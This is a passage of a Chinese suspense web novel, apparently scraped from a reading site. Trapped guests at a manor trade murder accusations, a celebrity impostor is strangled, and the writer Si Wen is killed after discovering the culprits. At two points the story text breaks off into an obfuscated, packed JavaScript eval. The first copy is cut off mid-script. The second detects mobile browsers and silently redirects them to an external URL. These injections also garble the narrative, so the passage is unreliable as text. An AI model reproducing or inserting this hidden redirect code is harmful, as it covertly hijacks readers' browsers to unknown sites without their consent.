“换作是你,你就会说吗?”斯文反问她,“你会在有人莫名其妙死后,对所有人说,我之前来过这里,我是在梦里来的!” 斯文苦笑:“没错,我也觉得很离谱,如果是你们说出这个理由,我也不会相信。但事实就是如此,等有警察知道我们被困在这里,在做笔录时,我也会这么说!” “我看你还有一件事没有坦白。”一直没有讲话的Silas开口。 等大家的视线看过去时,Silas手中正拿着斯文的随身听。 他把随身听正面对着大家,那上面是密密麻麻的文字。 Silas 说:“这里面记载了我们这些天发生的一切,包括秦北和陈成医的死亡。” 随身听咚地一声落在桌上,元笑拿起来一看。 自己失去爱人、坠入地狱的经历,已经成为了别人的小说素材。 元笑指着她:“你简直没有人性!” “总而言之我不是凶手,我和你们素不相识,为什么要杀你们?”斯文看着元笑:“你认识我吗?秦北认识我吗?” 元笑怔愣片刻,摇头。 “这不就结了,你说谁没人性?”斯文摊开手,“你们纸上写出来的那些人,有哪一个像我?” 她问元笑:“我会知道秦北喜欢探险吗?” 问金兰花:“我会知道你有烦恼吗?” 又看向其他人:“我怎么会知道你女朋友失踪了?怎么可能知道你接下来要接什么戏,是不是缺少灵感?又怎么会知道谁有没有吃饱穿暖?谁的热度下降了!” “我怎么可能按照每个人缺少什么而写下邀请函,我什么也不知道!我也收到了邀请函!” 元笑声音嘶哑:“但你把我们的经历写成了小说!你豪无人性!甚至残忍至极!你的心态和凶手一模一样。” “我写个小说怎么就没人性了?”斯文反问,“死的人跟我非亲非故,我没必要为了他们默哀。” “而且我来这里就是为了找灵感,现在发生的一切对我来说是冒险,也很危险,但这就是我想要的,我在惊吓中发现了惊喜。” “小说是我生命的全部,你们所有人都比不上我的草稿,我自然没必要为不熟之人的死亡而心碎,哭到肝肠寸断。” 一口气说完这些话,斯文感觉前所未有的舒适。 她把纸向前推:“这是所有知道我缺少灵感的朋友名单,你们对照一下吧。我和你们一样希望能走出庄园,毕竟我也害怕下一个死的是我。” 说完这些,她就靠在沙发上一言不发。 在元笑仔细核对人名时,俞耀星突然开口:“如果我们推算错了呢?” 她眸色锐利地看向斯文:“别忘了,现在可是智能时代。大数据这么厉害,我前一天说想要买个包包,第二天就有包包推送给我。我们在网络中是没有秘密的。” 俞耀星说:“我不止一次搜索过悬疑电影,还有那个抱孩子女人的外表和穿着一眼就能看出她缺钱缺食物和衣服,至于金阿姨,我想你不快乐的原因应该来自你的身材吧?” 突然被点到的金兰花眨了眨眼,露出了个僵硬的尴尬笑容后低下头。 俞耀星没有为难,继续说:“孙伶聪前几年很火,这几年电视上突然看不到了,一想就知道他没有热度了啊!没热度就代表没钱,钱都没有了他的父母能不着急吗!” “秦北和元笑,你们年轻人不就是胆子很大,很爱探险吗?” “还有Silas,情侣在一起时成双成对,分开时独身一人。住久了的小区邻居都能八卦一下某家某户的谁很久没回来了,是不是离婚了……所以凶手发现你的问题也很容易啊!” 俞耀星看着斯文:“但凡你的理由比以上我举的例子更靠谱一点,我都会相信你。但是做梦来过……好笑!你不是写文章的吗,不如说你上辈子生活在这里,重生之后来复仇,比你做梦更有说服力!” 顿了一下,又说:“不对,你的身份是伪造的,你出过书吗?有出版社这回事吗?你从一开始就在骗我们!” 斯文面色通红,稳稳被俞耀星被戳中了心事。 她咬了咬牙:“没错,我的确没出过书。但出版社那件事是真的,我把稿件投给他们,他们却疯狂贬低我的稿子,说我写的东西一文不值白给都没人看,说我痴心妄想一辈子出不了书!然后我就把他们给举报了。” 元笑问:“你到底为什么要隐瞒身份骗我们?” “出门在外,身份都是自己给的。”斯文紧攥着拳头,“这里有明星有总裁还有神童……我只是不想被你们看不起。” 俞耀星眯了眯眼睛,思索一番她的话后,沉声道: “之前在楼上你陪我去洗手间,我在上厕所时,你是有几分钟单独行动的时间的。这几分钟足以让你打开住在我斜对门陈成医的房门,将你同伙的手段展现给我们大家。” “你血口喷人!”斯文拍桌起身,厚重的眼镜拿在手里,微微颤抖,连戴上都来不及就扬声道,“那我上厕所时,你也有几分钟的时间啊!而且顾霆就在走廊里,你们里应外合才是最有机会行动的人。” “被陈成医信任的人也不止孙伶聪和那个女人,”斯文盯着他们,“还有顾霆啊,顾霆是被我们所有人都信任的人。所以如果是顾霆敲门的话,陈成医开门的几率也非常大。” 说完,她突然想到了什么,瞳孔骤缩! “那个马斯洛理论的最高一层,顾霆也符合。” 片刻后,斯文思索着开口: “我们大部分人几乎都在理论的三四层徘徊。”她指着顾霆,“只有你,这里面只有你家财万贯,已经得到了自我实现需求。” “能够解决问题,能够站在至高点发号施令,你被尊重,被恭维,所以,你已经突破这个层次,成为了你口中,钱滚钱也觉得无趣的人。” 斯文越说越觉得眼前一片晴朗:“所以,只有你才会想出这种杀人游戏,把我们普通人的尊严和智慧按在地上摩擦!” 顾霆眉头蹙起:“胡说八道,我是有钱,但还没到这么变态的程度。” “我也看过那部电影,老头子伪装成参赛者,看起来人畜无害可怜兮兮摇摇欲坠,总之是个好人模样,”斯文上下打量他,“和你穿西装打领带又有什么区别?” 俞耀星起身,指着斯文:“你少在这泼别人脏水了,分明是你心虚,想把矛头引到顾霆身上!” “是我引到他身上,还是他自己秀了太多露馅了呢?”斯文冷笑一声,“你分析的头头是道,这说不定也是作案过程!” “斯文,我看你真是恼羞成怒,”顾霆说,“第一,我是个合法商人,第二——” 不等他说完,斯文突然笑出了声:“合法商人?合法商人会残害自己的手足兄弟?” 顾霆哽住,哑口无言。 斯文眸色锐利地盯着他:“说吧,接下来的计划是什么?你到底想看到我们脸上出现什么神情,要我们哭着祈求,还是要我们自相残杀,你这个变态!” “还有秦北的死,顾霆也有嫌疑!”斯文看向元笑,说,“剧本杀里,顾霆也没有活到逃亡环节。那么他有没有可能提前躲到你房间的浴室,等秦北进去时,将他杀了呢?” 这话说完,包括元笑在内的其他人均倒吸一口冷气。 空气中似乎都隐藏着锋利的针,一个不留神就会吸入肺部。 俞耀星看着众人的神色,内心开始慌乱,她用力拍桌,华丽的美甲瞬间被弹飞掉落:“你血口喷人!顾霆怎么会杀人!” 斯文不甘示弱继续说:“那我们都是来这里找灵感的,怎么我就一定得是凶手了?” 说完,她戴好眼镜坐下来,昂首挺胸: “最近几年我也没见你有过什么作品,该不会也是因为过气了,所以才来这里搞事情吧?” “我看你根本不是来找灵感的,而是想用诡计翻红的,”斯文近一步推测,“把我们全都害死在这里,到时候你们伪装成幸运儿,成为庄园唯二活下来的人。” “这样你又重新有了热度,还是涉及好几条人命的热度!未来的日子随便炒炒就能上热搜,各种论坛里都会流传今天的恐怖故事,我们的名字都将被抹杀,只有你这个女明星的名字存在,这是长红的秘诀。” 俞耀星气到脖子青筋凸起,指着斯文歇斯底里骂了很多。 斯文毫不畏惧,从容不迫地将俞耀星的话还给她。 骂人的花样比俞耀星还多。 并且还说起了风凉话:“真是可怜了方亿箩被你害死,你最好祈祷我不要活着出去,否则我一定要发微博告诉全世界,你是个杀人凶手!” “你……好啊!那我也要告诉各大出版社你的恶行,我和我老公会用一切人脉切断你的写作梦!你这辈子都别想出版一本书,我说的!” 这句话成为激怒斯文的导火索,她攥起拳头,指骨几乎要顶碎皮肤。 她赌上了命来寻找灵感,只为了能靠接下来这部悬疑小说翻红,如今文章还没有写出来,就已经被资本家把活路堵死。 斯文怒不可遏,迅速来到厨房,熟悉地打开柜子,拿出一把长长的西瓜刀。 “既然你认为我是凶手,那你是怎么有勇气这么和我说话的!”说完,举着刀冲了过来! 元笑和金兰花都朝赶紧朝另一边躲,生怕伤害到自己。 孙伶聪逃跑的时候脚下踩中了易拉罐,结结实实摔在地上,又手忙脚乱爬起来躲到沙发后面。 元笑赶紧喊:“快拦住斯文!” 下一刻,顾霆就一把攥住斯文的手腕,夺过那把西瓜刀。 顾霆挡在俞耀星身前,一双眼睛血红,沉声警告:“你最好不要装疯卖傻,否则哪怕我们不是凶手,为了自保也会不择手段杀掉你。” 他极少说重话,一开口就让人胆怯。 这样的人从来都是说到做到。 金兰花跑过来,拿走顾霆手上的刀,狠狠往远处一扔,无奈道:“你们这群年轻人,火气怎么都这么重!” “没错,我火气就是重!”这瞬间,斯文也被顾霆的眼神震慑住,顺着金兰花给的台阶下来。 坐下来还不解气地对俞耀星说,“我要是凶手第一个就会杀了你!” 看了眼被扔到远处的西瓜刀,又微笑着故意气俞耀星: “还明星呢,没了美颜丑的跟鬼一样,赶快回去化个妆吧!现在这幅样子走在街上,10年粉丝也认不出来你!” 这话说完,大家的视线又落在了俞耀星脸上。 毕竟明星素颜这种事,在任何时候都让人好奇。 元笑也看过去,但只一眼,她的眉头就皱起。 俞耀星卸了妆,脸色黑了几个度,不知道是不是没睡好的原因,双眼皮也失踪了。 但……不太对。 她记得俞耀星之前在节目里说过自己的大眼睛是遗传,就算早上起来水肿,眼睛也不会有很大的变化。 她也因为自己的大眼睛,接到了圈里十分挑剔的导演的邀约。还因为这件事上了好几天热搜。 然而现在的俞耀星却是单眼皮。 她的外貌没有斯文气愤之下说的那样丑陋,反倒是这群人里最出类拔萃的。 但却和自己印象中的俞耀星全然不同。 在她用长长的指甲指责斯文时,元笑看见她的手腕白皙细腻。 但俞耀星曾因为拍戏受伤,手腕处被缝了8针而上热搜。 她在节目里说过不会用科技手段处理掉这刀疤,这是成功的勋章。 元笑按住她的手,握紧她的手腕,确认半点痕迹都没有。 俞耀星的气还没撒完,怒视元笑:“你干什么?” “你是谁?”元笑说。 俞耀星眨了眨眼:“什么我是谁??” 元笑说:“你的手没有受过伤?” 经她一提,众人这才发现不对劲。 安静片刻。 斯文一把攥住俞耀星的手腕,指腹在上面划过,随后震惊道:“你的手腕完全没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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俞耀星闭了闭眼,回答:“因为我和她本来就长得很像,我经常出她的仿妆,走在街上总能被人误以为是俞星星,还要跟我合影。” 元笑不可思议道:“于是你就把自己当成了她?” 俞耀星垂眸:“是……” 斯文突然开始笑。 笑声从小变大,笑到弯下腰。 她欢快地说:“所以现在也不是我一个人隐藏身份喽!” 又撇撇嘴:“最看不惯那种自己冒充身份,还指责别人的双标怪!等我拿到手机就会把有人冒充俞星星这件事发出去,虽然我没有什么名气,但好歹也有几百个粉丝呢。” 被拆穿身份的俞耀星感觉自己陷入无比尴尬的境地,每个人看着她的视线都像是一把锋利的刀,于是起身就朝外走。 顾霆追上去:“外面很危险。” “房子里也不见得安全多少,”俞耀星说,“我要去看看大门,说不定现在闸机口又出现了。” “我陪你一起。” 两个人出去后,房内的大家都默契地一言不发。 直到听见重力击打门的声音,以及俞耀星求救的声音,大家才轻轻叹了口气。 他们还是出不去。 斯文打了个哈欠说:“我很困了,今晚我就睡在这里,你们也找睡觉的地方吧。” 金兰花问:“那谁来第一轮守夜?” 斯文冷笑一声:“阿姨,你还没搞清楚状况吗?现在很明显谁守夜谁就容易被指认成凶手啊。我好心陪人上个洗手间,还被人说成为同伙开门呢。” “但如果我们睡得太熟,凶手趁机作案怎么办?”金兰花说。 “我想大家就算再困也不可能睡到雷打不醒吧,”斯文把沙发套扯下来盖在身上,说,“反正我不会。” 元笑觉得她说的很有道理,在大家如此敏感的时候,任何风吹草动都有可能惹祸上身,队友会在下一秒钟变成敌人。 况且现在她觉得每个人都有嫌疑,合作这种事还是算了吧。 元笑没有躺下,而是靠在沙发闭上眼睛。 怕自己成为凶手的下一个对象,她附和着斯文说:“我也不会睡得很熟,一点点声音就会醒。” 是在告诉客厅的所有人,也是给凶手的警告。 …… 院子里,俞耀星抱着膝盖哭出声。 顾霆拥着她,轻声安抚:“别怕,有我在。” 俞耀星一把搂着他的脖子:“我好后悔,我们不该来这里!” 顾霆手边是开得旺盛的薰衣草,他折下几株为妻子编了个花环,戴在她头顶。 帮她擦干眼泪后,微笑:“就算不是俞星星又怎么样呢?你连哭都这么美。” 如果一切危机都没有发生的话,那么这里将会是他们人生中一次很特别的旅行。 晚风轻抚,顾霆坐在地上,俞耀星坐在他腿上,吸了吸鼻子说:“还好有你在,不然我真的很害怕。” “就算我不在,你也不要怕,”顾霆说,“你要坚强。” 俞耀星意识到了什么,猛烈地摇头:“无论做什么我们都要在一起,要死一起死!” 说完,又攥着他的衣领急道:“我们不会死,我们又不会互相背叛,最后一定是我们两个活下来!走,去找个趁手的武器!” 俞耀星说着就往回走,顾霆刚起身就感觉一阵眩晕。 他几乎两天一夜没合眼,等缓过来时,俞耀星已经消失在眼前。 “星星,你等等我。” 顾霆只看见妻子的身影消失在石柱后,可等追过去时人已经不见。 “星星!” “星星!俞耀星!” 目光所及都是诡异的树影,顾霆的心提了起来,不断呼喊妻子的名字。 背后突然传来了急促的脚步声,他猛地回头,俞耀星手里拿着两个高尔夫球棒。 “这个很顺手!”俞耀星兴奋地说。 顾霆一把将她搂在怀里,后怕道:“不要再离开我的视线。” 俞耀星轻轻拍他:“放心,我不会有事的。” 等两个人再次回到大厅时,众人都已经休息了。 斯文和金兰花躺在两张沙发,元笑则靠在金兰花那一侧沙发上,手里攥着一把水果刀。 孙伶聪躺在茶几旁边的地毯上,枕着自己的书包,听见他们的声音睁开眼睛,对视后又赶紧闭上,五官挤出褶皱。 “我们也找个地方休息吧。”顾霆说。 俞耀星虽然也想去里面,但因为实在不想离斯文那个讨厌鬼太近,于是用脚点了点地:“就在这里吧。” 落地窗边,能看见躲在乌云之后的月亮。 “观察房内房外都很便捷,”顾霆说,“你选的位置很好。” 他从行李箱里拿出一条薄毯铺在地上,让妻子躺下。 长时间过度惊吓再加上突然爆发的愤怒,造成的后遗症是头晕目眩。 俞耀星很快就睡着了,顾霆搂着她望着窗外。 树影摇晃,他的困意也渐渐袭来。 本来不想睡的,但不知道是谁轻微的鼾声传染给了他,顾霆闭上双眼。 …… 他梦见自己从高楼坠落,浑身一颤。 醒来就发现身边空着,毛毯上还有向下拖拽的褶皱,只剩两根高尔夫球棒放在窗边。 “星星!”顾霆心里燃起不好的感觉,扬声大喊,起身寻找。 这一声惊醒了所有人,元笑颤抖一下醒来,天空是呈现出鸭蛋青色,又一夜过去了。 目光扫过同样被惊醒的金兰花、睡在地上的孙伶聪,和睡在对面沙发上的斯文,以及按摩椅上的Silas。 那个抱着孩子的女人又不见了! 元笑正在寻找她的身影,又听见一声哀嚎:“星星——!” 众人相互看看后,一致跑了过去。 在客厅处看不到的楼梯后方,顾霆痛苦地跪倒在地上,怀里抱着面色青紫毫无生命征兆的俞耀星。 她的脖子上是一条深深的勒痕。 9. 正版 元笑惊愕地后退两步。 怎么会这样呢。 俞耀星居然死了? 她就在客厅里悄无声息地死了,分明自己睡得并不熟,她听见了顾霆和俞耀星回到房中,也知道他们睡在落地窗前。 然后……再睁开眼,俞耀星居然死了。 “那个女人……一定是那个抱着孩子的女人,”元笑面色惨白地倚靠在沙发背上,扬声说,“我就说那个女人有问题,可你们都不信我!那女人不见了!她又不见了!” 下一秒眼前就出现一道黑影,窒息感瞬间袭来。 元笑惊恐地看着顾霆,用力抠挠他攥住自己脖子的坚硬手臂。 顾霆双眸暗红,眼神阴狠,仿佛变了个人,一字一句道: “如果不是你戳穿了星星的身份,她就不会难过地选择睡在那里,更不会因为过度疲惫而陷入深度睡眠,就连被人杀害都没来得及喊我一声。” 他的唇还在动,但后面再说什么,元笑已经听不见了。 耳中仿佛塞了个火车喇叭,除了鸣笛声什么也听不清。 眼珠似乎要从眼眶爆出,连抠挠顾霆的力气都没有了,只模糊地看见金兰花和Silas在拉扯顾霆。 然而对方的力气实在太大,这两人完全撼动不了他。 意识消散之前,突然有‘嘭’的一声穿透鸣笛音传进耳中,颈间的禁锢骤然一松。 元笑跌倒在地,模糊地看见有血迹丛顾霆头上滑下来。 金兰花扔掉拿在手中的花瓶口,趁此时机攥住元笑的手腕,将她往门外推:“快跑!” 元笑前脚刚踉跄着跑出去,斯文也意识到了属于自己的危机。 她趁着顾霆还没有反应过来,也毫不犹豫冲了出去。 两个人奔跑在夜色之中的庄园外,顾霆此刻的愤怒则已经达到顶峰。 他缓过神来,一抬手就轻易将两百斤的金兰花掀到一边,胡乱抹去糊住眼睛的鲜血,捡起高尔夫球棒追了出来。 斯文说:“分开跑!” 她选择了左边的桑树林,而元笑则选择了另一边的榕树林。 这座庄园很大,四周都是绿植花卉,将城堡一样的房子围在中间。 元笑踉踉跄跄地跑到榕树林最深处,一下子跌坐在树下。 喉咙如同吞了燃烧正旺的碳,喘气都像是忍受酷刑。 眼前的黑色星星还没有消散,她无力地躺在地上重重呼吸。 这么久也没有听到脚步声,看来顾霆是去找斯文了。 她没想到俞耀星会死在昨晚。 在那种混乱的情况下,凶手依然胆大包天。 可昨晚她分明没有睡熟,知道顾霆和俞耀星回来,也知道他们选择睡在落地窗前,还知道他们打开了行李箱拿毯子…… 斯文和金兰花一个睡在自己旁边,另一个睡在对面。 孙伶聪就在她们中间的茶几旁边。 Silas躺着的按摩椅虽然跟自己离得比较远,但也是一睁眼就能看见的。 如果这几个人有可疑行为,她一定会在第一时间察觉到。 对了,还有那个不知道跑到哪里去的抱孩子女人,只有她才最有可能躲过自己的视线,去杀害离自己最远的俞耀星。 然而顾霆现在已经失去正常思维,俞耀星一死,他就无法冷静分析,把俞耀星的死都归结到自己和斯文的身上。 喉咙如同火烧般的痛让她生不如死,元笑四处观察了很久才敢轻轻咳嗽一下,吐出一口带着血丝的唾液。 从白天到晚上,元笑一直躲在榕树林里,眼看着太阳升起至最高点,再缓缓落下。 黑夜再次降临。 她看向幽深天际,突然委屈至极。 自己从小到大没有做过一件错事,不该命丧于此。 手臂和脚腕都被咬了很多包,元笑用力地抓挠,刚一转头就透过树叶的缝隙看见了顾霆! 顾霆脸上的血迹已经凝固呈暗红色,他拿着高尔夫球棒,在鹅卵石路上缓缓地走,像是失了魂魄的丧尸一样,一旦看见人就会瞬间发疯。 偶尔抬起手臂,轻轻一挥,高尔夫球棒就能齐刷刷削掉一截树枝。 元笑知道,顾霆在找自己! 此刻,她甚至连通过树叶缝隙和他对视都没有勇气。 双腿并拢躲在树干后,背部紧紧贴着树皮,刚好粗壮的树干能挡住她纤细的身躯,不会被顾霆看见。 可下一秒,庄园的夜灯准时亮起,其中一盏地灯就在她手边。 元笑吓得惊呼一声,尽管连忙捂住嘴巴,但在寂静的花园中,这个声音很容易被顾霆捕捉到。 元笑眼睁睁看着顾霆踩折花枝走向榕树林中。 她满头大汗,心都要跳出来,小心翼翼朝另一处移动。 与修剪好的树枝擦肩而过,摩擦声音传到顾霆耳中,让他一眼就发现某处晃动幅度不对劲的灌木丛。 顾霆眼神一凛,拔腿追了上去。 眼见暴露了行踪,元笑不再躲藏。她加快速度,风呼啸着丛耳边经过像恶魔的低语。 可她一整天没吃东西没喝水,能意识清醒地撑到现在已经很不容易。 越跑体力消耗得越快,脚不知被什么绊到,膝盖重重磕在地上,钻心的痛瞬间蔓延全身。 但她连歇息的时间都没有,身后追逐的脚步声越来越近,甚至可以看见顾霆挥舞高尔夫球棒的声音。 元笑抑制不住生命被追逐的恐惧,透支了体力也要尖叫着往前跑。 却猛地在前方的灌木丛中看见了那个抱着孩子的女人。 那双眼睛,明亮又惶恐。 女人以为元笑是来追杀她的,她紧紧抱着孩子,离得远远就跪在地上恳求:“放了我的孩子……求求你放了我的孩子!” 泪水洗刷了脸上的污垢,凌乱挡在脸上黏腻成绺的头发也因磕头鞠躬的动作而前后晃荡。 这么多天,女人都表现得十分奇怪又胆怯,脏兮兮的长发总是糊在脸前,又经常因为哄孩子而低着头。 如今在暖黄色明亮夜灯的照耀下,这是元笑第一次看清她的脸。 那么熟悉,那么熟悉…… 她是…… “妈?” 元笑猛地回头。 因为这一声‘妈’并不是出自她口,而是来自身后。 追杀她的顾霆也因为看见了女人的脸,在最后关头挥舞着的高尔夫球棒硬生生停在空中。 他愣在原地几秒钟后扔掉球棒,越过元笑跑向女人,急道:“妈,你怎么在这里?” 可女人似乎听不见他说什么,只缩着肩膀,紧紧抱着孩子: “不要伤害我的女儿,求求你们不要伤害她……” “她还小,求求你们不要伤害我女儿……” 顾霆跪在女人面前,握住女人的肩膀,拨去她脸上的头发:“妈,你看看我,我是顾霆啊!” 然而,目睹了这一切的元笑眉头几乎要拧成疙瘩,她上前一步:“这分明是我妈妈。” 顾霆怔住,疑惑看向元笑。 -- 另一边。 斯文一开始率先被顾霆选中,极速逃命过程中,她屏息逃避,靠着视线差才躲过了顾霆的追杀。 眼看顾霆朝元笑那边追去,斯文急匆匆走向城堡,轻车熟路从一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16743214|189746||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 楼的某扇窗户翻回房中。 还好之前梦到过这里,一切都没有改变。 斯文已经不觉得2楼恐怖了,因为只要有顾霆在,她的命就一直摇摇欲坠,别说2楼,就是20楼她也敢上。 最危险的地方就是最安全的地方,相信顾霆绝对想不到她敢躲到2楼,这个连续死了两个人的地方。 途径俞耀星被勒死的地方,斯文狠狠翻了个白眼。 早不死晚不死,偏偏这个时候死! 一定是凶手想要把这一切嫁祸给自己。 高看了顾霆那个白痴,这么简单的戏码他居然都分析不出。 不过也是,会娶一个爱说谎的女艺人,说明他也没有多聪明! 斯文的房间在最里面,房间里还有些吃的,早上的极速逃命让她饿得不行,必须要赶紧补充能量。 刚走了两步,耳边突然传来两人说话的声音。 还有人在2楼! 斯文放轻脚步,突然觉得声音有些耳熟。 这不是…… 斯文心脏砰砰跳,仔细辨别声音,轻轻靠在这扇门前。 “你为什么要这么做?” “我是在帮你,你想要的不就是这个结果吗?” “帮我?你分明是为了自己的私心!” “难道你就没有私心吗?你要真是大公无私,也不会设计让所有人都来这里。” “进来之前我已经跟你说过解决办法了,你是唯一一个知道一切的!” “太慢了,而且成功率并不是百分之百。” “所以你一开始就有这个计划,要杀掉所有人?” “我没杀任何一个人,除了我自己。” 斯文瞳孔猛地睁大,连眨眼都忘记了。 她一把推开门,与屋内两双震惊的眼睛对视。 呼吸变得沉重,心跳甚至比被顾霆追逐时更快。 “你没有死!”斯文指着其中一人,指尖发颤。 整个人像是被按在震动的琴弦上,面颊肌肉止不住地颤:“竟然是你……原来是你们……我知道了,我明白了!陷害我们来这个鬼地方的就是你们!” 然而下一秒,她看见其中一人迅速靠近自己。 对方只是轻轻一抬手,就剥夺了她说话的能力。 她失了声,一句话也说不出。 直到看见对方胸口上有喷溅而出的鲜血,而鲜血喷溅的源头正是自己。 剧烈的痛在几秒钟后席卷全身,她捂着自己被割破的脖颈,想要抓住点什么却无济于事。 她感觉自己正在抽搐,慢慢又感觉不到了。 瞪大了眼睛。 死不瞑目。 “这是我第一次为你杀人。” “该不会觉得自己很伟大吧?” “你为什么一副很难过的样子,这就是你的目的啊!” “但这不是我想要的过程。” “生活就是这样不如意,不然我也不会出现在你的世界里。” 斯文的尸体被抬出门,像是处理垃圾一样,扔到了她自己的房间,桌上还有几个蛋糕和一瓶未开封的酸奶。 房门轻轻阖上,留下一个缝隙,等待下一个发现她的人。 清理好房间和走廊里的血迹后,一切归于平静。 “又死了一个,恭喜你离目的又近一步。在她消失之前,你该为她的死因想个完美的理由,比如嫁祸给别人。但伤害你最深的那一个已经被杀了,你会选择嫁祸给谁?” “不用你管,下次别在白天出现了……晚上最好也别出来。” “那我就做个悠闲看客,看你如何达成我们的愿望。” 10. 正版 偌大的客厅里,一众人围坐在客厅。 女人一手紧紧抱着孩子,另一手拿着面包狼吞虎咽。 元笑接了一杯热牛奶放在女人面前,视线一直落在她身上。 十分钟前,她以为自己等来了妈妈。 可这个女人只是抱着孩子摇头,说不认识自己。 “那你认识我吗?”顾霆上前问。 因为见到了妈妈,所以理智得以回归。 他眼中全是红血丝,胡茬也浮现,看上去憔悴极了,却依然用惊喜期盼的目光望着她。 女人狼吞虎咽吃着东西,摇头:“不认识。” “我是顾霆,我和星星上个月刚回家和你们一起聚会。” “我,我不认识你……不认识你们。” 她很惊恐,就像一直生活在深林中的人,突然来到外部世界,看什么都害怕。 元笑仔细打量这个女人,她虽然眉眼和妈妈长得一模一样,但神态却完全不同。 这种感觉就像是……灵魂转换了一样。 她不是妈妈,但或许和妈妈是双胞胎姐妹? 可下一秒,就见孙伶聪哭着冲过来,一下子扑在女人腿上:“妈妈你为什么不早告诉我你也来了!” “她也和你妈长得一样?”元笑不可置信道,“难道我们的妈妈都和她长得一模一样??” 孙伶聪抹着眼泪,死死攥着女人的衣服:“这就是我妈,只不过今天没有化妆,也没有洗脸……妈妈我好想你呜呜呜……你为什么不认我?” “我,我不认识你们,真的不认识你们……”女人缩在沙发角落里,举着半块面包,双腿尽量抬高,想把趴在膝盖上的孙伶聪甩开,“不,不要靠近我们……不要伤害我女儿。” 孙伶聪已经哭到嗓子哑,长久以来的压力在妈妈面前彻底将他击垮,不管不顾抱着女人的腿:“我没有妹妹啊……我什么时候有了妹妹?” 元笑看着坐在不远处一动不动金兰花,上前询问:“金阿姨,你也认识她吗?” 金兰花脸色苍白,眨了眨眼,缓缓点头。 元笑皱眉:“难道她也是……” “没错,”金兰花说,“她和我妈长得一模一样。但我妈早就在很多年前就去世了。” “那Silas呢?”元笑看过去。 Silas站在不远处,目光沉沉地看着那个女人。 金兰花转头看他:“你难道也认识这个女人,她也和你的母亲长得一样吗?” Silas眨了眨眼,点头。 “没错,一模一样。” 元笑心中有一面墙轰然倒塌! 就算是有一万分之一的概率,这女人是自己妈妈的双胞胎姐妹,但妈妈绝不可能和这么多人的母亲都是姐妹。 这到底是怎么回事,为什么事情发展得如此诡异! 然而还不等她多想什么,就听见女人惊声尖叫。 转头一看,原来是顾霆抢走了她的孩子。 这个举动让女人彻底失控,她一脚踢开孙伶聪,起身朝顾霆冲过去,但被顾霆侧身躲开。 顾霆沉声问:“为什么我从来没听过你孩子哭?” 话音刚落,所有人都愣在原地。 一个只能喝奶粉的襁褓婴儿,哪怕再乖再能睡,这么多天也不可能一次不哭。 尤其是刚刚在花园里,顾霆强行将她带回来弄出来不小的动静。 尽管这样,孩子仍旧没哭一声。 女人一直把孩子包裹得很严实,就像她的头发一直遮挡着自己的脸一样,从没有人见过孩子的脸。 顾霆刚把手放在包裹着的被子上,女人尖叫着再次扑过去:“不要碰我女儿!” “你的孩子是不是已经……” “不要……把我的女儿还给我!不要伤害我女儿!” 女人疯了一样不管不顾,整个人几乎要爬上顾霆的身体,并抬起如枯木般的手臂,一拳一拳击打在顾霆肩膀上。 在她将孩子抢回来的同时,顾霆也一把扯开被子,让婴儿暴露在空气中。 等看见了婴儿的真面目时,当即瞪大了双眼。 不仅是他,所有人都倒吸一口凉气。 元笑更是腿一软,跌坐在沙发上。 被包裹着的,的确是个……活物。 有手有脚,还在动着。 但却是个没有头的肉球。 四肢诡异地长在一个肉球上,失去了被子的包裹,双手双脚都扑腾得厉害。 如果有嘴,那么此刻一定哭得很大声。 这是个诡异的畸形儿。 “怪不得。”顾霆眯了眯眼,“还记得之前我们一起去楼上,将她从房间带出来吗?” 元笑仔细想了想,明白顾霆的意思。 这女人的房间里有瓶见了底的奶粉,可孩子很明显没有任何可以进食的地方。 所以无论是被子还是衣服,又或者是奶瓶旁边,全都是大片奶渍。 可以想象这个女人每次给孩子喂奶时,奶粉都会流向别处,可她却毫不知情,依然按时按点冲奶粉。 金兰花问:“所以,她是疯了?” “不见得,”元笑说,“她能听懂我们说什么,也明白现在发生了什么事,处境有多危险。” “她只不过是邋遢一点,不会玩剧本杀而已。至于这个孩子……我想是出于母爱吧。或许她有些精神错乱,但不至于到疯了的地步。” 此刻,女人已经麻利地把孩子重新包裹起来。 跑到角落里坐在地上,用侧脸去贴那肉球,隔着被子轻轻地拍,嘴里不断哄着:“不怕不怕,睡吧睡吧……好孩子快快睡,不怕不怕……” 不断挣扎的孩子也终于在母亲的怀抱里安稳下来,渐渐不动了。 顾霆看着她的举动,说:“我也认为她知道孩子的情况,也清楚明白现在发生的一切。不然她不会把孩子裹得这么严实,不让我们看见。她在隐瞒我们。” 话毕,顾霆又问她:“星星死的时候,你在哪里?” 女人怯生生看了他一眼,摇摇头。 “说!”顾霆厉声问:“昨天晚上你在哪里?” 女人缓缓朝身后一指。 “我害怕,所以就跑出去……一直躲在那后面,然后就看见了你们……” “你躲在了后面,有没有看见凶手是谁?” “没有……我什么也没看见……” 元笑等不及追问:“那秦北死的时候……就是剧本杀完成那天,你在哪里?” 女人眨了眨眼,回答:“房间。” 顾霆又问:“你为什么一直躲着我们?为什么要抱着孩子来这里,你知道你的孩子不正常吗?” 安静一瞬,女人低下头,低啜声音传出。 不多时,哭声变大,变得更加惨烈。 她哭着说:“我没钱看医生,我要把我的女儿养大,我要活着!我要活着!我要活着!” 她越说越激动,眼珠通红,像是电影里即将变异的妖魔。 孙伶聪一下子哭出声来:“妈妈,你不要这样!” “她不是你妈妈,”顾霆带着孙伶聪后退几步,面色阴沉:“很明显,这个女人并不是我们的母亲。” 顾霆长长叹了口气,疲惫地坐在沙发上。 “但她令我想起了我的母亲,”顾霆的声音很沮丧,“我不该这样暴戾,也不该失去理智。” “元笑,你并没有杀害星星的机会。” 元笑嗓音沙哑:“没错,我只是理所当然拆穿她的假身份。” “我很抱歉。”顾霆愧疚道。 元笑犹豫着问:“那你把斯文怎么样了?” 